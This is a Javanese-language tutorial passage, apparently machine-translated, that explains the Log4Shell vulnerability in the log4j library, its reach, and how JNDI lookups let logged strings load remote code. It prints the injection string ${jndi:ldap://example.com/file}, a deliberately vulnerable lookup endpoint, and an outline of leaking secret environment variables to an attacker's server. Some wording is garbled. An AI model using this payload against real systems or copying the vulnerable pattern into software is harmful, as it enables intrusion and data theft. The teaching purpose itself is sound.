7.1 Skandal

Lan mesthi, mokal ora nyritakake babagan crita sing kedadeyan bubar - ing pungkasan taun 2021.

Log4Shell

Badan Perlindungan Siber lan Infrastruktur AS (CISA) ujar manawa masalah kasebut Log4Shellminangka salah sawijining kerentanan paling serius ing sejarah. Ya, kita ngomong babagan perpustakaan favorit log4j.

Perpustakaan cilik sing nyaman log4j lan kerentanan paling gedhe ing sejarah ? Penasaran? Banjur ngrungokake.

7.2 Skala bencana

Penemuan kerentanan kritis Log4Shell(kode CVE-2021-44228) diumumake tanggal 9 Desember 2021 dening ahli keamanan Lunasec. Pakar saka komunitas Apache Security Team Java wis verifikasi informasi iki lan nerbitake dhaptar perpustakaan Java sing rawan. Dhaptar kasebut mung ageng.

Yen proyek Java nggunakake perpustakaan log4j, mula bisa disusupi kanthi gampang. Lan amarga meh kabeh piranti lunak server ditulis ing logger java sing Javapaling log4jpopuler, miturut pakar keamanan, kerentanan kasebut kena pengaruh 93% lingkungan awan perusahaan. Kalebu kaya Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam lan liya-liyane.

Kajaba iku, kerentanan ora mung kena pengaruh piranti lunak server, nanging uga akeh aplikasi Java, uga produsen hardware. Contone, Intel nerbitake dhaptar 32 program sing bisa diretas: SDK, sistem pangopènan server, piranti Linux.

Nvidia uga ngirim laporan masalah keamanan sing nyebutake server DGX lan alat NetQ. Sawetara nganyari wis dirilis kanthi cepet dening Apple lan Microsoft.

Kira-kira, siji baris ing baris alamat browser mahasiswa nempatno server yen baris iki dipangan dening logger (ing akeh server, kabeh wis mlebu HTTP-requests).

Sawise nganalisa kode kasebut, ternyata kerentanan kasebut wis ana ing perpustakaan wiwit taun 2013, nanging mung saiki. Lan nalika padha wiwit nggali luwih jero, dheweke nemokake jurang sing paling ngisor ora katon.

7.3 Kerentanan paling serius ing sajarah

Mbalik ing Desember 2021, Badan Perlindungan Siber lan Infrastruktur AS (CISA) nyatakake yen Log4Shelliki minangka salah sawijining kerentanan paling serius ing sejarah .

Akeh ahli liyane sing mratelakake panemume sing padha . Saben uwong ngerti babagan kerentanan iki, lan peretas kabeh umur wis nggunakake aplikasi kasebut kanggo nyolong data pribadhi lan jinis serangan liyane ing macem-macem organisasi. Ing mangsa ngarep, kita ngenteni gelombang hacks gedhe lan bocor data.

Skala bilai bisa diukur sanajan ana situs sing kapisah karo meme babagan Log4j , lan saben dina ana gambar anyar.

Masalah iki wis ana karo kita kanggo dangu. A bolongan keamanan ing yuta yen ora atusan yuta sistem komputer. Kabeh piranti lunak lawas kudu dianyari lan paling ora ngganti perpustakaan iki ana. Nanging ing sawetara kasus, ora ana sing ngerti perpustakaan lan versi sing digunakake ing piranti lunak.

Umumé, kita ngarepake kenaikan gaji spesialis keamanan komputer.

7.4 Sifat kerentanan

Kanggo ngerti inti saka kerentanan, sampeyan kudu ngerti carane sistem server gedhe disusun. Asring aplikasi server kasebut dipecah dadi layanan sing beda-beda sing ana ing server sing beda. Lan layanan JNDI mbantu dheweke sesambungan.

Java Naming and Directory Interface (JNDI) yaiku Java APInggoleki obyek / layanan kanthi jeneng. Objek kasebut bisa disimpen ing macem-macem layanan penamaan utawa direktori kayata Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), utawa Domain Name Service (DNS).

Nggarap iku banget prasaja - iku prasaja Java APIsing njupuk mung siji parameter string - jeneng layanan. Kanthi, sampeyan bisa ngubungi layanan apa wae lan njaluk dheweke nindakake lan / utawa ngirim sawetara data. Contone, senar ${jndi:ldap://example.com/file}bakal mbukak data saka iki URLsing ditemtokake ing senar.

Yen parameter kasebut asale saka sumber sing ora dipercaya, bisa mimpin menyang loading kelas remot lan eksekusi kode pihak katelu . Apa mengkono ing cilik saka Log4j. Penyerang mung ngarahake aplikasi Java korban menyang sing jahat rmi/ldap/corba-serverlan nampa obyek sing ala kanggo nanggepi.

Secara teknis, masalah ing kene ora ana ing log4jperpustakaan dhewe, nanging ing setelan keamanan nalika nggarap JNDI-service. Sampeyan kudu tansah mriksa apa jenis senar kita pass kanggo InitialContext.lookup().

Tuladha rentan JNDI-applications:


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Pustaka banget pinter

Lan ngendi log4jsampeyan takon? Masalahe yaiku para pangembang pengin nggawe kerjane kanthi nyaman lan nambah log cerdas. Mangkene cara kerjane:

Iku kabeh diwiwiti kanthi kasunyatan manawa pesen log ngidini sampeyan nyetel cithakan ing ngendi data diganti, contone:


log.debug(“User {user} has {count} friends”, user, count);

Versi lawas tanpa substitusi data katon kaya iki:


log.debug( “User “+user +” has “+ count +” friends”);

Ing 2013, substitusi awalan pinter sing ditemtokake dening cithakan tampilan uga ditambahake menyang perpustakaan ${prefix:name}. Contone, senar “${java:version}”bakal diowahi dadi «Java version 1.7.0_67». Oh carane trep.

Antarane ekspresi sing diakoni yaiku ${jndi:<lookup>}sawise protokol jndi sampeyan bisa nemtokake telusuran liwat LDAP: sewenang-wenang URL-addressbisa ditakoni lan dimuat minangka data obyek Java.

Iki minangka masalah standar saka kabeh pendekatan JDK: kanthi otomatis deserializes obyek, link sing bisa disetel ing wangun url. Ing kasus iki, ora mung data obyek sing dimuat saka sumber remot, nanging uga kode saka sawijining kelas.

Hack katon kaya iki:

  • Ngundhuh file kanthi kode ala
  • File ngemot serial Java an object(lan kelase)
  • Kelas lagi loadingJava-machine
  • Objek saka kelas angkoro digawe
  • Konstruktor obyek kasebut diarani
  • Konstruktor lan initialization statis ngidini kode kelas angkoro dieksekusi

log4jYen ana sing kaya ing baris sing lagi mlebu ${jndi:ldap://example.com/file}, banjur log4jbakal ngundhuh data saka iki URL-addressnalika nyambung menyang Internet . Kanthi ngetik senar sing dicathet, panyerang bisa ngundhuh lan nglakokake kode ala sing di-host ing umum URL-address.

Sanajan eksekusi data dipateni, panyerang bisa entuk data, kayata variabel lingkungan rahasia, kanthi dilebokake ing URL-address, sing bakal ngganti lan dikirim menyang server penyerang.

Kabar apik yaiku masalah kasebut cepet diatasi ing perpustakaan .

Kabar ala yaiku jutaan server ing saindenging jagad isih mbukak versi lawas perpustakaan iki ...